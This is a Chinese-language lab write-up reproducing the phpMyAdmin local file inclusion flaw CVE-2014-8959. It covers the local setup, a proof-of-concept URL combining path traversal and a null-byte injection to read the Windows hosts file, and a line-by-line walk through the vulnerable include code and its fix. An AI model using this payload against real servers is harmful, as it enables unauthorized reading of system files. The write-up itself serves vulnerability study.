phpMyAdmin文件包含漏洞复现:原理详解+环境搭建+渗透实战(windows CVE-2014-8959)
目录
一、phpMyAdmin 文件包含漏洞(CVE-2014-8959)
1、漏洞简介
2、漏洞原理
二、渗透准备
1、开启服务
2、源码安装
3、访问网站
三、渗透实战
1、文件包含
2、原理分析
一、phpMyAdmin 文件包含漏洞(CVE-2014-8959)
1、漏洞简介
CVE-2014-8959 是 phpMyAdmin 程序多个版本存在的任意文件包含漏洞,影响版本涵盖 4.0.1 - 4.0.10.6、4.1.1 - 4.1.14.7、4.2.1 - 4.2.12 。其产生原因是传入参数未合理校验,在 libraries/gis/pma_gis_factory.php 文件中,直接将传入参数拼接成路径进行文件包含,可能导致文件泄露或恶意代码注入。
-
CVE 编号: CVE-2014-8959
-
漏洞类型: 本地文件包含 (LFI - Local File Inclusion)
-
威胁等级: 中危
-
影响版本:
-
phpMyAdmin 4.0.x ( prior to 4.0.10.13)
-
phpMyAdmin 4.1.x ( prior to 4.1.14.7)
-
phpMyAdmin 4.2.x ( prior to 4.2.12)
-
-
漏洞发现者: 来自 Cure53 的安全研究人员
-
官方修复方案:phpMyAdmin 开发团队在受影响版本的后继版本中修复了此漏洞。核心修复方法是 采用白名单验证 来替换之前不安全的过滤方式。
-
phpMyAdmin 4.0.x 升级至 4.0.10.13 或更高版本
-
phpMyAdmin 4.1.x 升级至 4.1.14.7 或更高版本
-
phpMyAdmin 4.2.x 升级至 4.2.12 或更高版本
-
2、漏洞原理
该漏洞存在于 libraries/gis/pma_gis_factory.php
文件中。
-
功能背景: phpMyAdmin 提供了一个图形化的编辑器(
gis_data_editor.php
)用于处理 MySQL 的地理信息系统(GIS)数据类型(如 POINT, POLYGON 等)。这个编辑器允许用户通过表单来生成几何数据的 WKT(Well-Known Text)格式。 -
不安全的数据流: 在生成可视化效果时,代码需要根据用户选择的 GIS 类型(如 POINT, LINESTRING)来动态加载对应的几何对象处理类。
-
致命错误:
pma_gis_factory.php
中的factory
函数使用了include_once
语句来引入这些类文件,而引入的文件路径部分来自于用户可控的输入($_REQUEST['gis_type']
),且没有进行充分的过滤和验证(并未过滤目录遍历符号../
和点号.)
。
二、渗透准备
1、开启服务
在开始安装之前需要满足安装Web服务和数据库服务的环境,我的环境使用phpstudy搭建服务,如下所示启动Web服务和数据库。特别强调因为使用到了00截断,故而环境中的php版本需要使用5.2.17。
2、源码安装
我这里选择phpmyadmin4.0.10版本的源码,解压后将源码放到网站根目录,位置如下所示。
3、访问网站
当前网站的根目录为C:\phpstudy_pro\WWW\,故而访问phpmyadmin的URL地址如下所示。
http://127.0.0.1/phpmyadmin
如上所示说明环境启动成功,输入数据库的用户名和密码登录,如下所示phpmyadmin为漏洞版本4.0.10。 登陆成功后,URL如下所示,提取token值a231d0ca7eddd4361de6aa8154a6ac62。
http://127.0.0.1/phpmyadmin/index.php?token=a231d0ca7eddd4361de6aa8154a6ac62#PMAURL-0:index.php?db=&table=&server=1&target=&token=a231d0ca7eddd4361de6aa8154a6ac62
三、渗透实战
1、文件包含
hosts
文件的位置: C:\Windows\System32\drivers\etc\hosts,因此构造如下PoC。
http://127.0.0.1/phpmyadmin/gis_data_editor.php?token=a231d0ca7eddd4361de6aa8154a6ac62&gis_data[gis_type]=/../../../../../../Windows/System32/drivers/etc/hosts%00
- gis_data_editor.php:攻击的目标,一个处理GIS(地理信息系统)数据的PHP脚本。
- ?token=a231d0ca7eddd4361de6aa8154a6ac62: 安全令牌,用于防止跨站请求伪造(CSRF)攻击。攻击者通常需要从一个有效的会话中获取一个有效的token才能成功利用漏洞。。
gis_data[gis_type]
: 这表示一个名为gis_data
的数组参数,其键为gis_type
。在PHP中,这样的URL参数会被解析为$_GET['gis_data']['gis_type']
。/../../../../../../Windows/System32/drivers/etc/hosts
: 这是一个路径遍历(Directory Traversal) 序列。它试图从当前工作目录回退6层(/../../../../../../
)到根目录,然后导航到Windows系统的hosts
文件%00
: 这是空字符(Null Byte) 的URL编码。这是整个Payload中最关键的部分,针对 PHP 5.3.4 之前的版本(漏洞原理中提到的版本限制)。
如下所示,成功获取到敏感文件内容,为# 127.0.0.1 localhost 127.0.0.1 activate.navicat.com 199.232.68.133 raw.githubusercontent.com。
2、原理分析
pma_gis_factory.php中的关键漏洞代码 (第20-46行)如下所示。
public static function factory($type)
{include_once './libraries/gis/pma_gis_geometry.php';// 1. 将类型转换为小写$type_lower = strtolower($type); // <-- $type 是用户输入的 `gis_data[gis_type]`// 2. 构造文件路径并检查是否存在if (! file_exists('./libraries/gis/pma_gis_' . $type_lower . '.php')) { // <-- 漏洞点Areturn false;}// 3. 包含文件if (include_once './libraries/gis/pma_gis_' . $type_lower . '.php') { // <-- 漏洞点B// ... 根据类型返回对象的逻辑 ...} else {return false;}
}
第1步:请求处理(gis_data_editor.php 第18-20行):
phpMyAdmin的 gis_data_editor.php
接收到这个GET请求,PHP会自动将查询参数解析到超全局数组 $_GET
和 $_REQUEST
中。
// Get data if any posted
$gis_data = array();
if (PMA_isValid($_REQUEST['gis_data'], 'array')) {$gis_data = $_REQUEST['gis_data']; // <-- 攻击参数在这里被接收
}
-
$_REQUEST['gis_data']
包含了['gis_type' => '/../../../../../../Windows/System32/drivers/etc/hosts%00']
-
这个数组被完整赋值给
$gis_data
第2步:调用漏洞函数
脚本执行到需要加载GIS几何对象时,会调用 PMA_GIS_Factory::factory()
方法,并将用户控制的 $_REQUEST['gis_data']['gis_type']
作为参数 $type
传入。
$geom_type = $_REQUEST['gis_data']['gis_type'];//确定几何类型
$gis_obj = PMA_GIS_Factory::factory($geom_type); // <-- 漏洞触发点
第3步:进入有漏洞的 factory
方法(修复前代码)
public static function factory($type) // 输入: $type = "/../../../../../../Windows/System32/drivers/etc/hosts%00"
{include_once './libraries/gis/pma_gis_geometry.php'; // 输出: 加载基础类文件,与漏洞无关// 当前: $type = "/../../../../../../Windows/System32/drivers/etc/hosts%00"$type_lower = strtolower($type); // 输入: $type = "/../../../../../../Windows/System32/drivers/etc/hosts%00"// 处理: 转为小写// 输出: $type_lower = "/../../../../../../windows/system32/drivers/etc/hosts%00"// 下一步: 构造文件路径 './libraries/gis/pma_gis_' + $type_lower + '.php'$file_to_check = './libraries/gis/pma_gis_' . $type_lower . '.php';// 输出: $file_to_check = './libraries/gis/pma_gis_/../../../../../../windows/system32/drivers/etc/hosts%00.php'if (! file_exists($file_to_check)) {return false;}// 输入: $file_to_check = './libraries/gis/pma_gis_/../../../../../../windows/system32/drivers/etc/hosts%00.php'// 处理: 空字节截断!系统调用遇到%00停止,实际检查路径: './libraries/gis/pma_gis_/../../../../../../windows/system32/drivers/etc/hosts'// 处理: 路径解析!../../../../../../ 回溯到磁盘根目录,最终定位到: C:\Windows\System32\drivers\etc\hosts// 输出: file_exists() 返回 true (文件存在),继续执行if (include_once './libraries/gis/pma_gis_' . $type_lower . '.php') {// 输入: 再次使用 $type_lower 拼接路径// 输出: 路径 = './libraries/gis/pma_gis_/../../../../../../windows/system32/drivers/etc/hosts%00.php'// 处理: 再次空字节截断!实际包含路径: './libraries/gis/pma_gis_/../../../../../../windows/system32/drivers/etc/hosts'// 处理: 再次路径解析!最终加载: C:\Windows\System32\drivers\etc\hosts// 输出: 尝试将hosts文件作为PHP执行,但因无<?php标签,文件纯文本内容直接输出到浏览器switch(strtoupper($type)) {// ... 永远不会执行到这里,因为include已经输出了文件内容 ...}} else {return false;}
}
第4步:包含成功
include_once
函数成功读取了 C:\Windows\System32\drivers\etc\hosts
文件的内容。由于 hosts
是一个文本文件,并非有效的PHP代码,所以其原始内容会被直接输出(回显)到浏览器中。攻击者从而实现了对服务器上任意文件的读取。